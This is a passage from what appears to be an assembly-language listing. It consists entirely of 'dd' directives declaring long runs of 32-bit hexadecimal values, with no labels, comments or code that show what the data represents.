2743801Fh dd 88011E88h, 7A4F4A68h, 95D25B8Ch, 0CA311B77h, 0AE7882h dd 1A89255Ah, 0E8C133C2h, 3CE6084Ch, 1332381Ch, 37BCF831h dd 75F7C3B0h, 1071F1Dh, 82018ACh, 0F3685809h, 116FF7Dh dd 4C928D2h, 7CFFFA42h, 522A03E9h, 0BEDA0173h, 704DF6C9h dd 39C04FD9h, 435192F1h, 0B456902Eh, 5DE8C243h, 66C338C0h dd 0D009BEBCh, 0F322277h, 843C7970h, 0E814EE68h, 0B7CCC526h dd 153DD8ABh, 135BB040h, 0B328A968h, 1A480Bh, 421B1C8Ah dd 7B70D0BAh, 0ED8B779h, 0D6BD54E6h, 165972CDh, 8E77E8A7h dd 0A551B91Eh, 16DB1A74h, 0EF6BE9EBh, 58060CD0h, 2966121Ah dd 9C45D1F7h, 0D75C0248h, 834E2502h, 11807709h, 3084B75Bh dd 9D51F752h, 0F0B5321Dh, 69162382h, 7A297Ch, 718AED1Eh dd 50030346h, 443C3868h, 1520EE73h, 0B86E31E9h, 2D6F5710h dd 1CD2D45Eh, 0BF7C8FECh, 0AC70AAA4h, 5711C051h, 0B0BE3D53h dd 72F609D5h, 5E5CC631h, 83B23DF8h, 0F761A64Eh, 0AA0599A3h dd 297832C1h, 2C0F7824h, 0C96F02B6h, 4CBF16FFh, 0FC517350h dd 413FE435h, 617DC812h, 4F7E56Ah, 801C0818h, 13F82747h dd 5FB11AD7h, 66406F54h, 5369BF0Ah, 0A40ED01h, 73302768h dd 12F24598h, 0F416DF2Dh, 0AFE94169h, 80F36A6Eh, 2E796882h dd 6C623774h, 0EA5C05D8h, 177441B2h, 0BE54C668h, 7E34A08Eh dd 27C2F863h, 0BBB56093h, 0BABE1E4Eh, 4BAB8927h, 0CB488CD2h dd 605309E2h, 0D9D4A9B4h, 388C6D96h, 1D5942B3h, 0A4AEE280h dd 0BE9500Bh, 598AC93Bh, 0F847FBD9h, 2FA411B0h, 4C7AB55Fh dd 90D4D29Fh, 943F20D3h, 4055C16h, 0A24F4FF6h, 75686CEh dd 4407110h, 76301225h, 0D47EE87Ch, 2F3D07A4h, 0F7952B45h dd 0DDEFE509h, 0C85DD66Ah, 3B14BE34h, 0CF037993h, 61E77FADh dd 22E94916h, 0D82E20BEh, 284B6D38h, 533B93EAh, 0F34D6444h dd 0FDADC8CDh, 843AC40h, 0F581A141h, 805CA61h, 8BAFEA12h dd 25FE59F4h, 3C6B586Eh, 0CCCA875Fh, 0E77D7C2Dh, 0C8293717h dd 5392C6B2h, 0A25E003Fh, 810A5474h, 0DEBE505h, 2F8060ADh dd 502F40E2h, 1748C829h, 0A128CB36h, 0AB022E25h, 7E058CD1h dd 0FBCA3973h, 65A80801h, 0C4832E5Fh, 0D1A09A5Ch, 0F1E91F1Eh dd 0B42D1667h, 0B4E9C1F4h, 0F8CE6B10h, 2AFB994Eh, 41F79AAh dd 0A8CE05E3h, 0B2E4EE98h, 0F89405h, 0C0FE9CB0h, 28006234h dd 0E2D058C2h, 0B397F4E9h, 3B0D090Dh, 68049DF1h, 9AE67362h dd 0E6A14A7Ah, 27FD1857h, 4F66D185h, 0CEE85Ah, 478F280h dd 9D68E915h, 78558F09h, 13C09F8Dh, 2D80FD94h, 87F80319h dd 58C1293Eh, 0B04E497h, 6E880181h, 136AAB21h, 0B938107h dd 0DAD6CA9Ah, 0C4EFE906h, 4438DF48h, 0BE0CF568h, 6BE42ADDh dd 0A87A4ACDh, 0F90ED26Ch, 142D1CB6h, 2E56BD5Bh, 4906340Bh dd 0DDC25448h, 7640EA7Bh, 3471F626h, 0B82D70E9h, 0E6B44E8Ah dd 731907B3h, 0C2A3BB7Ah, 0BC789C11h, 84BAE398h, 8081D2F2h dd 85044A8Ah, 2D2C1DE4h, 0B282CB65h, 4AA0E97Fh, 889700FAh dd 3E689917h, 8698D901h, 97ED1B67h, 0A141E80Eh, 5D569F89h dd 7752AB4Bh, 805AE620h, 0D2A00CC6h, 0F3782839h, 0E97F4E98h dd 19B5324Bh, 0DE082C94h, 0E232EB2Eh, 5F36279h, 17DD454Bh dd 1350153h, 705B6E93h, 0CE41398Eh, 0B26BAED4h, 0FFD14AC5h dd 5E5E0992h, 0E1F59715h, 793E3D18h, 0D42C2127h, 0CC77726Ah dd 0EB515FADh, 25E9047Ch, 0BF92DF0h, 637D253Ch, 0B0AEDC2Dh dd 73F6568Dh, 0A2B97C4Fh, 0AAC8C9DEh, 0C16883A7h, 3B7C7520h dd 8F57400Eh, 560C18FBh, 1A9B3E6Ch, 159AE303h, 183B05D6h dd 14A7214h, 7A5554ACh, 0E2E91E24h, 0A4C5B7E8h, 0AC4B7311h dd 131604F9h, 7C2380Ch, 94405D01h, 4803495Fh, 2743E281h dd 0EA608F65h, 2CDCCEBFh, 83FC21C4h, 0FA35C9C7h, 79C9ABC5h dd 67B72D2Bh, 0E9301AF1h, 5026A128h, 0E7203CB8h, 336B9774h dd 8BC676FAh, 9B4891F0h, 0B028FD7h, 0C70C102Fh, 0D2470B71h dd 0A674312Bh, 0F3A48239h, 48B2E9CEh, 49DDF742h, 2D15FC4Dh dd 809D4935h, 13C2CFF2h, 0D56089ABh, 107CC1DAh, 12B1ECBh dd 85139E9h, 0CCA226DCh, 380ED759h, 1FF965B7h, 82874C52h dd 0A0BC590Ch, 5E89776Bh, 8EEF4CD5h, 1C872F09h, 0C4D3459h dd 0D7FFA27Fh, 0E9F568EAh, 96B9404Fh, 0F76212Dh, 0C8311086h dd 0E1F898A6h, 0D05AE87Fh, 0BAA24EEFh, 0F7B4BFD2h, 0D1C9EB30h dd 0C9FE088Ah, 99E90408h, 30D5E51Dh, 574EEB6Ah, 0D0DF55F8h dd 8B5E2BB9h, 843C8023h, 9808E9C3h, 1D90A3D1h, 0CC3C307Ah dd 6B12CB06h, 4B01D2F7h dd 53F8B61Ch, 48E9DE50h, 0E599B5A6h, 1F5BA8CEh, 3668072Eh dd 0CFFE1035h, 0B01D16D0h, 8F130991h, 0BFE5903Ch, 0B1581A23h dd 706627F9h, 0A81E8416h, 0BFE2E7B0h, 0D891A73Fh, 2C392F3h dd 2A3CEA63h, 49401FA3h, 0C13E35E0h, 0E5CA1D63h, 2454D30Ch dd 2DF90FB3h, 2C333118h, 754EE9F0h, 0A9B86900h, 75E4C4Eh dd 0D92E1B2Dh, 65615F5Dh, 0E4055428h, 535AB545h, 8B3FDF04h dd 7508CABh, 0C78A7D4Ah, 222D258h, 0E27B0141h, 8D73C4D3h dd 63E072CDh, 448EBE7Bh, 0B19EAF59h, 0AC20144Ch, 13EB8103h dd 0D93F881Ah, 0E0325A5Ch, 697C042Fh, 2E680DCCh, 6B4D2E8Ah dd 9507E457h, 0BD1B232Ch, 415ABE09h, 9DF1F018h, 0C006F584h dd 0C92DFC7Eh, 2493148h, 6FE67536h, 1DE4F748h, 2DD65E58h dd 8514204Eh, 0B557D73Eh, 1C5F5B63h, 4BEBA416h, 0E8098F8Ah dd 3EBAFFC0h, 729A1D12h, 53D6D2FEh, 0B7EAE47Fh, 0C5B7816Ch dd 43726AA2h, 760B682Fh, 75B665Ch, 455FDAC3h, 0F4EE1AFBh dd 0B62C52B3h, 0DA3EDA39h, 0FD2571C7h, 5A819CB2h, 6B43E950h dd 0A7BF0512h, 3AE9828Dh, 196ED72Dh, 814095B0h, 0B925F568h dd 0A82493E9h, 4D0B00B8h, 0BFB91FFCh, 6A131637h, 79E2C131h dd 87DFFB26h, 788EF80h, 8A1EA3F9h, 0D3F73E09h, 28457043h dd 0C1800749h, 41603F0Ch, 0BE1D20DDh, 201ACEF4h, 51CCB29h dd 0D3AB8708h, 98D26062h, 70836DE3h, 5A466C27h, 45D80FD1h dd 54C46EC0h, 0E68BBA3Ah, 9469EA7Dh, 98BF50BAh, 0FE35B12h dd 3D752701h, 602F6D1Ch, 77720DD9h, 7AD06BE3h, 2FB37CAEh dd 98DC294Bh, 4E8F180Ch, 55582654h, 62411061h, 8232A71Ch dd 9933006h, 1EA87B02h, 0BA817F5Bh, 34B956C3h, 92E2930h dd 4278211Eh, 4863248Eh, 1A052268h, 57A4064Eh, 54C1BFC0h dd 9C024835h, 13F44227h, 7F655549h, 2216C825h, 1D008C05h dd 0BF783339h, 13CCC6E7h, 0FBDF0187h, 0CA6A063Dh, 0E9510594h dd 0AF2930DEh, 0C073B5ECh, 3A2BBB8Eh, 98C2031Ch, 0DD34092Ah dd 0AF207CD8h, 0ECEA9D66h, 0F428BAFFh, 9E1425AAh, 15AC6816h dd 9586A3CCh, 54B9D700h, 2C01A14Ch, 0A455A0BDh, 95303158h dd 0E9DD1629h, 0ACEAF0E0h, 41F2C16h, 0DDD8400Eh, 1AB75304h dd 0F6D5C8AFh, 5250D700h, 0D488B5B2h, 0AEB830E9h, 5801F7E9h dd 686B2004h, 7CA253ADh, 0EDB4F448h, 550993DBh, 0A550D6DBh dd 55A9647Fh, 432C8623h, 0B89B94Ah, 0B486BC3h, 0E9DC0135h dd 367A6F46h, 0B88065D0h, 539D6EB7h, 6D163DA4h, 0FA20BF90h dd 3E251FB9h, 2A94059Ah, 34960DDEh, 42F9BE29h, 0E9F2F04Bh dd 0F286982Fh, 0EFF60B95h, 0AA602914h, 97045BDEh, 75ACE92Dh dd 0C5880891h, 883AEBC9h, 59DF14Ch, 2BB50A1h, 58250852h dd 0E05B6DD4h, 0B8764D63h, 35590279h, 4C012903h, 65133940h dd 7921C933h, 0F927CB73h, 0E57F5FFAh, 100B05BBh, 0D859179Ah dd 395F4303h, 0F7A2E91Fh, 0D6FE4EDFh, 5F22E816h, 50D490A7h dd 0AC446884h, 2AEB4FEAh, 11051C69h, 8D94572Dh, 649234FCh dd 0D883FCB5h, 1A97E929h, 0D950C22Fh, 83F7A5C4h, 0DCB8683Dh dd 0F255108Ch, 0C92516E3h, 59790B41h, 66A215C3h, 78FF2BCAh dd 297CB764h, 0FD6F4252h, 982798FAh, 76962517h, 2DE9973Ch dd 3457A545h, 2D609554h, 0E29F3868h, 0D8C656D1h, 6825E1F7h dd 0A70B51BDh, 0BE0C215Eh, 620B8DACh, 83FC7B74h, 47FD2104h dd 0C43041Fh, 28189C0Fh, 79E2D058h, 0A7C49E5Bh, 5AFAE8BBh dd 1D972BBh, 0D355B8BAh, 1C526CA7h, 88907997h, 0E9617F8Ch dd 20924238h, 168C1C28h, 0D0F904C3h, 0D473274Ch, 94CB1626h dd 0C5A84708h, 19ED33C2h, 0D6E0A9DFh, 0B7A401B8h, 0D106CD2Dh dd 9F1F8873h, 0CF240D29h, 0B0B68F0Bh, 2D572EA8h, 0FAF66CF2h dd 34B0919Dh, 0F002EFC1h, 69A660FDh, 12450830h, 3B25AAB8h dd 20D64C4Ch, 0C2984A73h, 9F5DF2BDh, 0BF01AE53h, 5486330Eh dd 315AC72Eh, 0F70668F0h, 174CBF1Bh, 0F884B4AFh, 1897E944h dd 792B39BBh, 25AD4C28h, 7774C8D1h, 69FB9D0Bh, 544092BDh dd 0A2102CE3h, 77FE4F70h, 0FBA5E487h, 0F6D98417h, 16560A60h dd 0D83BD114h, 2A59CA54h, 8A125B87h, 39AF27BFh, 4427A57Ch dd 20577B96h, 42248062h, 3902B34Ah, 57465271h, 130FB60Ah dd 0E2A28C94h, 0E3EABCD2h, 630F8687h, 7D4B764h, 9E6FBF2h dd 475D5DEEh, 6853024Ch, 8B595D64h, 1193B3B9h, 0F8F7BAE0h dd 8CDC9D75h, 5B545650h, 0E41CE25Eh, 804AC0E4h, 585B5950h dd 811694E6h, 0E854FFC7h, 5B9227EAh, 65D54B7Ch, 0E74E95D7h dd 2ACD0E7Fh, 817D5B4Dh, 0E45392EDh, 660C800Ch, 31D26FC4h dd 0A05D4EE9h, 0F7E2404Fh, 0B82DD003h, 0F126F37Dh, 396AC72Bh dd 10787C64h, 0EE4B4C71h, 0BEEB26C8h, 51F42F14h, 0B1F3401h dd 406E5F24h, 0F4E0CBC4h, 0F95D89DBh, 0BB53830Eh, 55652D20h dd 81822075h, 4C4017E2h, 0AF184B78h, 3EEF1783h, 0C692B213h dd 340214FBh, 0A59D1D4Ah, 72881D5Eh, 49680BFEh, 0E3E95833h dd 0D4192DB5h, 4D137023h, 1D052BD8h, 39AB216Fh, 73E6F8EAh dd 54C341C9h, 2389A5B1h, 84F0F57h, 68560EF0h, 15D17FA3h dd 5565DFD9h, 5C8EAAE8h, 8E25051Dh, 96A02FB7h, 290D1762h dd 108EF851h, 63E9D808h, 0DAE2B14Ah, 8464AD93h, 8AAE36D8h dd 0E97961F6h, 39AD70A9h, 0B9019A76h, 626E1827h, 57E9226Eh dd 4342A340h, 3170F00Ah, 72A5216Ch, 6265204Bh, 81DA9981h dd 15B62573h, 0B3D46A61h, 17432424h, 0C9DE832Eh, 5834DA60h dd 0C0E103FFh, 20D5C96Bh, 0F4A8C3C3h, 7496874Ah, 0C3FC702h dd 42BE8578h, 133030FBh, 0D1739131h, 4058F340h, 513B666Ah dd 0C87B70B1h, 0C782E027h, 0F5253F12h, 0E5B72A78h, 45690946h dd 0CAA745F3h, 902FC09Ah, 0F9E7974Ch, 959F91A0h, 244322F1h dd 0E9F76CF0h, 0E9EB6238h, 2F955C31h, 5800608Bh, 1948CC68h dd 1040D46Fh, 0BD049EC5h, 0A5E4B026h, 650DF5ACh, 4CF32FB4h dd 0AA93307Bh, 1A3CFA3h, 1F655B3Bh, 32CB8CE7h, 789B7764h dd 94F8B85Ah, 0B23DF7C0h, 0AB5EE90Eh, 0D8646E97h, 40CB3588h dd 0B24A687Ch, 0C29DCCE9h, 591FB923h, 0A3CFCBDDh, 67FBB9A5h dd 363E24h, 89432C62h, 8CCFE9EFh, 3CA97197h, 0CA996416h dd 8D535492h, 28F7213h, 7D4C5DFDh, 8160A43h, 599DBF58h dd 3DCC07A7h, 72984C24h, 5D7D9042h, 0A9569210h, 0C8E9289Eh dd 0CE3DB475h, 51E4FE2Bh, 44F3FF89h, 0FF6D4B7Ah, 0B93075C9h dd 5A61770Dh, 2806051Dh, 243AF4Dh, 0C15A9BF5h, 0E03C2988h dd 3C0E7427h, 4DF3A976h, 29304A8Fh, 5EFE789Fh, 2ABEE817h dd 649DAB5Ah, 0B7D9704h, 0DCF70923h, 0FD2958EEh, 73ADE913h dd 9C843DADh, 1F121652h, 9FEEB257h, 29E90BD7h, 0E33E5D69h dd 45213C40h, 0BE188371h, 16062961h, 0BA9B3544h, 0D224D28Ah dd 585A843Eh, 30E58050h, 7802934Fh, 6CB0D4B8h, 33815587h dd 3873ED68h, 3651CE9Fh, 0FEF79AB8h, 69298A16h, 3F100479h dd 3EFA6802h, 0F0BF21E6h, 965D005Fh, 81495957h, 733EBDE1h dd 0F13AF6E0h, 0A802429h, 2A08CA12h, 0EC5B1232h, 0BCD5873h dd 0C6039268h, 74470227h, 0DAF7388Dh, 4B9CEC1h, 4A80A0EEh dd 6ECF8001h, 0C7FEE7D0h, 4AE97F30h, 5D5C839Ah, 21BBBF5Eh dd 55E6AABh, 555F0980h, 302B9087h, 0C21780D1h, 832544C4h dd 1FC6F06Eh, 160DB27h, 3A6DECF2h, 410C8011h, 3101D20Ah dd 0CEE92FD6h, 0C0EA7891h dd 2BF51ABh, 510E5725h, 69998BD6h, 0BFF8AA9Bh, 0AF267F2Bh dd 79003C4Ah, 6877971Ah, 3A7BB59Fh, 75169202h, 17BC5B3Dh dd 2BBCE117h, 0E7E2BFF2h, 0F77584FFh, 0BBC160E8h, 0E112427Fh dd 6F0FCC2h, 0D38B7A93h, 38ABC614h, 0AA5F5372h, 0F060AF69h dd 0BCA4FE9h, 0F351516Dh, 8B2080ACh, 0D504F284h, 394B685Ah dd 7A5298FAh, 43AB4200h, 77EF0BBBh, 9574B2F4h, 14E9D798h dd 7E7B7569h, 5CF300D6h, 68523321h, 2A20F72Ah, 0FE2BE1B5h dd 0C3E4F23Fh, 0CCAAE950h, 0EBBF2EEh, 62F9F766h, 5D5AA268h dd 48C232D4h, 9BE4095Dh, 25935B4Dh, 0A2862096h, 3C0E3573h dd 0A072C629h, 0BEB5E908h, 92BD0101h, 20438E42h, 3B79C546h dd 0A60C4560h, 803D512Fh, 0C01E9734h, 5ED2E9B6h, 0EA2BC929h dd 5C52DE5Dh, 2F0F9CCh, 953201Eh, 4C05DEFh, 54C4712h, 0A3C727DBh dd 3B8C75D3h, 1F95F1F9h, 0E6078A88h, 1158C680h, 0F83AB252h dd 76BD6292h, 0FFDAFA4Ah, 0DCCEE281h, 0C2BD79A5h, 0E969C06Fh dd 1D0FB58Fh, 0EF2048E4h, 5EF1FE81h, 0E6A6A349h, 6709AF3Bh dd 4B5287FDh, 2788C0C3h, 5EAF6818h, 0CC137E45h, 81BF2F5Bh dd 0D5B0509Ah, 4D02F7C2h, 5E09194Ah, 0CFF200F0h, 3105F5D4h dd 41F83703h, 501527E9h, 146A6723h, 993D9044h, 0D364C61Dh dd 24E5E829h, 3BA769DEh, 6A5EEA5Ch, 0D31B8565h, 1C1E25ECh dd 0D19B3262h, 675FDD89h, 52B32C74h, 289AED75h, 63422055h dd 78CD3139h, 0D9C908DEh, 47C9A21Fh, 806F7909h, 702060E4h dd 30FED405h, 27F34A48h, 427158Ch, 0EA1A80E9h, 0B006DB26h dd 0ABF05A3Fh, 5BC26421h, 5DD58205h, 0BA882356h, 84B90125h dd 0E82EE1B4h, 0ECBD9E78h, 8F2A9612h, 6016AA68h, 0A838197Dh dd 0D727597Dh, 0B0521847h, 7D808A5Dh, 0E5C078B5h, 0ED800202h dd 0D8D5F63Eh, 0E9AC1FE0h, 0CA56E57Dh, 769B3AC7h, 4F00C975h dd 14A66EDAh, 25F85348h, 0F3551825h, 32590120h, 0D67DDCBBh dd 0E5F12E41h, 2356AB2Bh, 348F4FF1h, 28A0EE80h, 0FBB151C6h dd 0D0D1F614h, 45E106A4h, 0E812C9FEh, 0A2EDF3C1h, 928DF5F4h dd 0F9029F77h, 0B3445B1Bh, 757A8002h, 77DF21D6h, 0DF95F2DAh dd 86682C01h, 5C713362h, 0A7E93AF1h, 72867E29h, 201F967Dh dd 0BD0053D6h, 55222139h, 289CD81h, 0E90CCB18h, 4CDA5BD3h dd 2D535D48h, 818F766Ah, 0A75E13E5h, 2CCC6134h, 82472CC0h dd 70505104h, 0F1CF6CC0h, 694E0B42h, 4A424BE9h, 3EDEED57h dd 0DFD0AEC8h, 31FE6627h, 46A2D62h, 0A743825Fh, 802DC108h dd 0DE735A4Bh, 0B283C13Ch, 6C142B07h, 0C020620Ch, 86407F20h dd 3CC7F682h, 0D053C888h, 94EFD552h, 340DDD19h, 856B958Ah dd 0CB510530h, 0DA8EFEC2h, 32A0577h, 0BA586E2Fh, 0A46B972Dh dd 4D5DB75Eh, 5A2885BDh, 13C8E2FAh, 28B85B07h, 958BBFD6h dd 206BA29h, 77E157C1h, 579F9A7Dh, 0BF821165h, 75155069h dd 6140D3C0h, 0C1582AC7h, 83E0286h, 638D39B1h, 0AB96B7EAh dd 0DD298C45h, 0AA4A9E8Eh, 87FA1953h, 1F0B92D2h, 1EB91CDFh dd 0A5E9C9B2h, 4BBD0256h, 92668ABFh, 50868AEEh, 537C8F48h dd 0D4BB014Eh, 848C01CEh, 6B8229C7h, 0EAF40AC7h, 0EE000EBh dd 813CE056h, 0D0AF137h, 22B4CAF4h, 0BB7140A9h, 763BFE0Ch dd 275644Ah, 4547E120h, 0D9FD9C68h, 11448045h, 0E3810372h dd 42530D0Bh, 0CD89004Fh, 97C676B2h, 224145Fh, 0A9C7E7Ah dd 17F00EE9h, 0F9EE217Bh, 0C524975Fh, 0FB4F15E8h, 681C0330h dd 197603h, 43C83AF3h, 5BDE899Dh, 32F0212Dh, 0E65457A8h dd 68859948h, 0B2341EBDh, 0DAD0399h, 0A949CE54h, 0ADD5C54Eh dd 5E7980B0h, 0A4C5C082h, 0A968BD9Ah, 842F3F39h, 20E0D01Eh dd 0F2FA57AEh, 46698209h, 95C97704h, 5EAD6031h, 0BD0196B6h dd 76DF5753h, 0FBD95DF2h, 0FFF2D40h, 0EC61580Eh, 0C4125621h dd 5D48DCAFh, 495CD1BFh, 7BB5667Ah, 8D9F1A85h, 557AC742h dd 1657E33Ch, 34BA6336h, 9613E9EDh, 0E5B7F904h, 0B01AFCBAh dd 2E0567CDh, 2E35C35h, 23C06D75h, 626C7256h, 0C71A64CCh dd 0EE00BE5Bh, 354DE038h, 560BC712h, 0E959A4E9h, 324D77DAh dd 0DAF63E84h, 9DB48FD7h, 0E25E4AB8h, 0FBE9E0CFh, 0C11FC023h dd 3F01435Dh, 67CE092Ch, 80AB622Fh, 0A5B9F5A7h, 973141E1h dd 8DEABFF0h, 9F1E872h, 72124BD8h, 18C13E02h, 0C8895612h dd 55095E7Eh, 0D744B468h, 2C7D0631h, 8FBAD353h, 0FB8E5AE6h dd 16578310h, 98AADA01h, 3318820h, 7FF1B65Bh, 663DEF35h dd 0AAAD7B9Fh, 592745F3h, 6F5459C5h, 6FAD18A8h, 2E857EB8h dd 0B355E57h, 59F4A03Ch, 4B013A85h, 0F1A00BEh, 424D757Ch dd 9F05E919h, 173E5E24h, 6916913Ah, 0C1AE0480h, 0AFA698C1h dd 5515CF5h, 810F34F5h, 2B56F4DFh, 0F01774E6h, 92DDB3D7h dd 5838B0C2h, 3D74BDCDh, 27689754h, 3E174DC7h, 50FE269Ah dd 0ED5E0825h, 63AE84B0h, 950FEDE3h, 0B4B97249h, 620DA791h dd 23A2F76Eh, 0D15F6619h, 0F901848Dh, 0BC41C85Fh, 2D05E5B2h dd 63D137Bh, 5E4BFDF4h, 301CCC9Bh, 65FD384Eh, 10752DC0h dd 114124Fh, 3C0705E8h, 0C6F8285Dh, 5B73030Bh, 9F960819h dd 71E0F509h, 76816A0h, 0D2543776h, 79FF6362h, 894A6946h dd 7667F81h, 6E5FF6CCh, 9C6BE62Fh, 0DEBC5CE4h, 7CC1E985h dd 71ABE595h, 279C479h, 20EC5D01h, 484425Ch, 0B9FC7161h dd 6913FAh, 1B65D858h, 35B22905h, 315D0882h, 3372EB14h dd 0EEE3C11Fh, 109942CBh, 487609h, 0D0E4118h, 30E0CA3h dd 491C3545h, 0C761027Eh, 7D489258h, 0A555CDE1h, 82167455h dd 1C06730h, 4D797D7h, 0A92291E9h, 503C169Ch, 0F298DB0Fh dd 5897711Dh, 0B7F5D988h, 9FEF005Ch, 83189499h, 49B9F251h dd 53773740h, 0C06604Dh, 0F43D7C11h, 0E9EB8904h, 31BEFC82h dd 7F75A441h, 59264EDh, 41A1D5F0h, 1368F1C6h, 0F7522B0Ah dd 88B933FAh, 0D3F3BBFCh, 2F3CEE5Eh, 72F630E9h, 0E51B050Ah dd 31BCE404h, 0B8FC58C2h, 486FF205h, 8CB5C1AAh, 86802D24h dd 51471D5Ch, 0E77A9C8Ah, 9AF93EAEh, 759C7E53h, 9F8A9A80h dd 0C0978088h, 5E3A68F8h, 0BD78C14h, 57CF429Fh, 0AE426459h dd 0DDEFA9ABh, 0C0FD10C1h, 0C0BF54E8h, 4E902D55h, 15D58514h dd 0DD17D604h, 3E8CBFBEh, 0F6385E10h, 47387A7Fh, 75AB4E4Dh dd 4B4C2297h, 5B9F3DF0h, 638E089Eh, 0D8015A04h, 186EF280h dd 0AF8B7C3h, 0F93B5D7Fh, 0AACA0208h, 8068E04Ah, 9A07EAA9h dd 4753B747h, 0F8ACE989h, 914D97CCh, 7FC6FA8Bh, 5E7B7546h dd 0CA003BFDh, 8003EEC0h, 28F21FC6h, 64D94BF4h, 4201A66h dd 2F7597C8h, 0C0554B5Dh, 1808BE83h, 0CC0D656Dh, 25011168h dd 0E9D60905h, 5385FF2h, 3EF950E3h, 930B3855h, 516B8BFFh dd 16B97C36h, 62B2EC88h, 6DAE1F93h, 0D32D8600h, 3058052Ah dd 7BFD27ABh, 0A4B3814Ch, 0CCC4F380h, 0FE0523E3h, 166CE9CBh dd 16BE3088h, 0EC63F641h, 0C34A2887h, 157E5114h, 14EA02CFh dd 0C88D1070h, 926FE912h, 0C1801C01h, 0B1C3C230h, 85DFCB28h dd 9A44625Eh, 8EFB5FFEh, 0D12E54A2h, 0DDED2563h, 5F517644h dd 1660EC06h, 3B92B874h, 0A0C84652h, 46270F4h, 31E938D1h dd 0F0CCBA67h, 0BB904A68h, 37EB8031h, 5E5582C3h, 0FC18C42Bh dd 83493EB8h, 129D6857h, 8CDE2F35h, 6AB068C0h, 1E41BAEEh dd 0DFF8BC6Ah, 0E84A5012h, 0FB0BEA51h, 4427795Dh, 0BD37E08Fh dd 36026712h dd 0D12B4A05h, 8A12D164h, 8B799CEFh, 81EE2D4Ch, 29060E3h dd 3FCAC2Eh, 89827BF6h, 0E0F18A29h, 173CC304h, 0E5420B46h dd 210805B0h, 29436865h, 92563E3Ah, 6612F3CBh, 4B8944A4h dd 75E9D8E3h, 0C1A2114Ah, 80B2BBD2h, 6396FA62h, 8361285Ah dd 7609681Ch, 24CBB62Bh, 0AA66794h, 0ADE0E527h, 508F67B2h dd 72699BC9h, 4F1D7C14h, 0B26074BAh, 63A001A6h, 0D1891096h dd 4C4F8B2Ah, 3726094Fh, 0ED88818Bh, 0DCC5D6D3h, 0AF74042Bh dd 0B87DD0E3h, 21E80241h, 9555F8BDh, 963F8C70h, 0E3CA633Fh dd 2E8D2773h, 0B1890959h, 0CBDB04EDh, 41F38107h, 401EF010h dd 0D63443C8h, 0F6C16F74h, 2B02DCB8h, 0FBF3E47Fh, 0BC559362h dd 8282D170h, 33A82D21h, 23E208C0h, 2477A3Bh, 0AE449BF7h dd 8131FE0Fh, 1458AFCFh, 0EB1E8767h, 6B1C5Ah, 5E259431h dd 0B269BD1Fh, 2E173A1Dh, 87D4B2A8h, 0C59DEF4Bh, 59AF443Ah dd 0D62822EBh, 8A504244h, 8202DE92h, 2FC06A7Ah, 9E240325h dd 6504280Bh, 0D582DC2Fh, 52A47597h, 0CCB4BBEFh, 1FFBEEAh dd 0E323102Dh, 50E67F30h, 0B807AB5Eh, 0B41F1DBBh, 0E1F31CF6h dd 0A034FE4Ah, 2836F6A5h, 0B37F4C46h, 0F2F390CEh, 7856840Eh dd 0EBD0E1ADh, 9FAE3B18h, 1818C0E6h, 4B3A74AAh, 4DEB2742h dd 6CC1150h, 0F241808h, 2D49173Ah, 468111EEh, 4005F001h dd 69CDE907h, 23C153C0h, 4F64D50Fh, 0A53DEA5Fh, 4612447Eh dd 7BE93030h, 0AE3AE155h, 18F5BE38h, 2A6A7EDAh, 7282926Ch dd 4C71EF27h, 0D738EAEBh, 5680A1A9h, 29261CC4h, 0FD029B90h dd 2151804Bh, 0E77E61D6h, 0A14B2A68h, 8E5CCCCh, 0E01082BDh dd 0DABF000Bh, 31FF3A1Ch, 0F72EA5DCh, 681712CCh, 55617BB4h dd 0FC7E758Eh, 0E959E06Ch, 95477039h, 2E7136D5h, 0C9807D68h dd 5F04307Bh, 0E2FE5455h, 5035C562h, 0C1354BEDh, 9F1C1C52h dd 0C7CB96FBh, 501B5331h, 0CD5C0A2Dh, 387020EBh, 0BF4E2EDEh dd 83302F39h, 0EB515AFDh, 0B1716D27h, 4E7F88FEh, 0EA6F8FE6h dd 60FA06F9h, 4A83D9E6h, 6F6496F2h, 821A4FA0h, 9E6C080h dd 3DF66806h, 7F601230h, 0E0825D82h, 0FBD5DC08h, 0F5A037AEh dd 0A2EC850Ah, 8380C437h, 68585F00h, 4695704Fh, 600B3064h dd 1DDEE9Fh, 2553C024h, 0D55C1C02h, 0A8F5400Fh, 65023076h dd 0CFCBF24h, 5F313E48h, 25E986E4h, 4AD5C36Dh, 3732C05Ah dd 4C212E63h, 1804193Ch, 73873808h, 0BFDAF097h, 0EF2509E7h dd 0BF341274h, 0C642D98Dh, 0D45A095Bh, 14277C00h, 21B9CB81h dd 4B1028AEh, 82470491h, 0E889EB50h, 0F4B08427h, 3313CED1h dd 89D93157h, 0B061C6C7h, 51534416h, 3A0F38B0h, 0A47D3B1Ah dd 41BA8D5Eh, 0C5C96DDh, 9806300Dh, 5AB36612h, 430E1FAh dd 0F70BC108h, 0B6820476h, 7DC98B8Fh, 95E2ABBBh, 4D1D0A54h dd 76428D8Bh, 0F8F68100h, 431BB171h, 0C9B935C8h, 78A46ACAh dd 0CC864191h, 0D369F6D9h, 9B7AD508h, 80B8E928h, 0FA0988E2h dd 2B8E685Bh, 0D021DCD0h, 29800310h, 94B0C9C5h, 6D14492Bh dd 95247F95h, 3B6CE99Ah, 84F1A5CFh, 0D4EB2DEBh, 90E98428h dd 0AD635715h, 28E80658h, 0A49C07EAh, 1CF90951h, 58B76E78h dd 58E9E002h, 2F910877h, 18A7D77Eh, 48D6F74Dh, 0A644B957h dd 4ECAEC54h, 397D3753h, 0F0928885h, 0E274BA46h, 0B427AB26h dd 0AC053410h, 305E7768h, 0F6B4B6D9h, 924BDE4Bh, 2DDFF680h dd 1616B6D5h, 0EB6620E9h, 721613CBh, 4288BAA4h, 993912EBh dd 7F3C004Bh, 8115A26Ch, 1740CD3Dh, 0F70C7B36h, 39EEFD25h dd 290F2D80h, 93A5C601h, 0A928AE8Bh, 4FA3B030h, 5AD4A44Dh dd 0F78829Fh, 334875BEh, 3EFA5557h, 5A1A9160h, 3944B850h dd 5EFC580Ah, 0FA1385C6h, 49F2CA82h, 0A4845682h, 839812CBh dd 3CF3DDF8h, 4204CF07h, 8B958F2Ch, 1C81D3E0h, 9759F6E7h dd 0DF6E020Eh, 4F5C08Eh, 0BC176241h, 0CA402695h, 73C5BE81h dd 0EC3E53AEh, 0F007739Bh, 68ADF3D5h, 6A71DE39h, 5D2C02C7h dd 5ADF76FEh, 0C4F89564h, 0F2C2EB5Eh, 2DB6445Eh, 31EA6B82h dd 0D6818B2Eh, 2227BE3Fh, 